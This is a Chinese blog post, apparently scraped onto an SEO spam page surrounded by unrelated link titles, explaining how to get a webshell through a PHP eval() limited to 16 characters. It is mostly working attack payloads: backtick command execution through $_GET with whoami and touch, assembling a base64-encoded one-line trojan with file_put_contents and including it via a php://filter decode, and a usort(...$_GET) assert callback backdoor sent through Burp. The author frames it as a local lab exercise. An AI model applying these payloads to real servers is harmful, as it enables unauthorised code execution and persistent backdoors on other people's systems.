当前位置: 首页 > news >正文

wordpress同步微信新乡seo外包

wordpress同步微信,新乡seo外包,网站数据抓取怎么做,大连网站制作流程要求: PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell? widows小皮环境搭建: 使用phpstudy搭建一个网站。 随后在该eval文件夹下创建一个webshell.php文件,并在其输入代码环境 解题思路: 通…

要求:

PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?

widows小皮环境搭建:

使用phpstudy搭建一个网站。

随后在该eval文件夹下创建一个webshell.php文件,并在其输入代码环境

解题思路:

通过webshell.php的代码中我们可以看到,我们传递的一个param的参数长度小于17位,即长度最多十六位,而且里面不能包含eval和assert,最后eval执行。这就是这段代码的含义。

这个题的难度在于其的长度限制。

我们输入?param=phpinfo();查看页面为php正常。

但我们也就只有输入一个phpinfo();了,但是这只是在Windows下不行了,在Linux下继续接着尝试。

Linux环境搭建:

进入nginx下的html文件夹中创建一个web.php文件下输入代码。

cd /usr/local/nginx/html

vim web.php

:wq保存退出,在/usr/local/nginx/sbin下./nginx启动nginx。

浏览器进入该web.php。

再次解题:

输入?param=phpinfo();测试环境搭建成功。

但是跟解题无关,依然只是个php界面,啥用没有,我们输入?param=·$_GET[1]·&1=id,

id通过反引号执行,因为在Linux下反引号是可以执行命令的。

'$_GET[1]'&1=id,这个代码的意思就是将$_GET[1]中的1的参数放在Linux下执行,实际上执行的就是$_GET[id],而这17位主要是'$_GET[1]'这个不能突破17位,而后面的1=id随便写多少位都行。

发现没有任何执行显示,这是因为我们执行了但没有输出,只需在前面加上个echo和;即可,?param=echo `$_GET[1]`;&1=id

这就完成了我们的代码执行转换为了命令执行,再转为whoami查看我们的用户是谁。?param=echo `$_GET[1]`;&1=whoami

若是想要执行其他命令例如rm之类的不能执行到,因为权限不够。

比如我们在tmp下创建一个文件,?param=echo `$_GET[1]`;&1=touch /tmp/ceshi123.txt

在Linux中查看,创建成功,用户及权限都是www-data.

以上就是一个突破长度限制的一个内容,算是最简单的一种技巧,接触过第一次后,就很容易的想到这种办法了,当有长度限制的要求时,Windows下的环境一般不会有,因为大部分99%的公司企业环境都用的Linux,而当一看到长度限制只有几位操作空间的时候就可以想到Linux了。

其他技巧:

当然还有另一种稍微难点的技巧。

web.php?1=file_put_contents&param=$_GET[1](N,P,8);

web.php?1=file_put_contents&param=$_GET[1](N,D,8);

继续追加

web.php?1=file_put_contents&param=$_GET[1](N,w,8);

web.php?param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N

这里向param传入的$_GET[1],这个GET[1]接受的参数是file_put_contents,实际GET[1]中写的就是file_put_contents,这个file_put_contents里传了三个参数,N、P、8,N是我们要写的文件名,也就是我们要写进这个文件里去,P是我们一句话木马的一个base64编码,8代表着追加。我们输入web.php?1=file_put_contents&param=$_GET[1](N,P,8);后在Linux中的查看会发现多了一个N的文件,N文件中内容为P,再执行一个web.php?1=file_put_contents&param=$_GET[1](N,D,8);这其实就是将base64编码一个一个往N里面追加。但是在官方文档中这个8是FILE_APPEND,这样就超出长度限制了,根本用不了,8是因为php底层C语言代码中file_put_content函数中的追加是8,所以这里写的8而不是php官方文档中写的FILE_APPEND。这里就是写8的原因而不是写的其他。这里追加的是base64编码而不是其他编码是因为有些特殊字符在file_append中追加不了,比如^?等追加不了。读取是通过php的尾协议用base64-decode解码成一个正常的语句文件包含进去的N里面是可以识别的一句话木马。前提就是得一个一个追加完成后进行一个解码执行。

还有一个web.php?1[]=test&1[]=phpinfo();&2=assert。加上一个usort(...$_GET);即PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行,前提是要进行一个抓包,这里使用的是burpsuite抓包。

抓包结果如下。

对开头得GET修改为POST末尾追加param=usort(...$_GET);加;是因为要传入eval中得,这里usort(...$_GET);一共16位没有超过17位。

这里php5.6可以接收...GET变长参数,usort的回调后门去执行。

然后在action中send to repeater后在repeater中send就可以在旁边看到了。

以上三个方法就是EVAL长度限制突破技巧的一小部分技巧了。

http://www.dinnco.com/news/13366.html

相关文章:

  • 关于网站设计的书网络推广和seo
  • 不用php做网站国内建站平台有哪些
  • 深圳龙岗做网站公司什么建站程序最利于seo
  • 网站页脚信息网店推广营销方案
  • php网站开发实用技术课后习题李勇seo的博客
  • 免费的java资源网站网络公司网站建设
  • 程序外包平台软文优化
  • 网站开发iis怎么配置爱上链外链购买平台
  • 龙岩任做网站的哪几个比较好长沙网络推广平台
  • rar在线解压网站微软bing搜索引擎
  • 吉林大学建设工程学院网站广西疫情最新消息
  • 公司网站搜索引擎优化网址申请注册
  • 网站秒收录工具如何在百度上做产品推广
  • 深圳外贸seo网站推广深圳英文站seo
  • 医院如何做网站策划轻饮食网络推广方案
  • 网站建设怎么添加视频百度网页翻译
  • 网站模板做网站seo提供服务
  • 做赛事预测网站seo云优化软件
  • 美食分享网站设计国家免费技能培训
  • 辛集建设局官方网站seo培训学院官网
  • 北京网站开发网站建设价格今天高清视频免费播放
  • 广告平面设计基础知识惠州搜索引擎seo
  • 做网站如何上传网站快速收录技术
  • 做外贸的网站平台有哪些内容seo网络推广是干嘛的
  • 制作网站找哪个公司好谷歌关键词工具
  • 京东联盟网站推广位怎么做seo关键词排名优化的方法
  • 社区网站的建设seo优化软件免费
  • 建设厅网站查询网络营销百度百科
  • 在线logo制作生成免费网站制作网页多少钱
  • 心得网站建设三只松鼠网络营销策略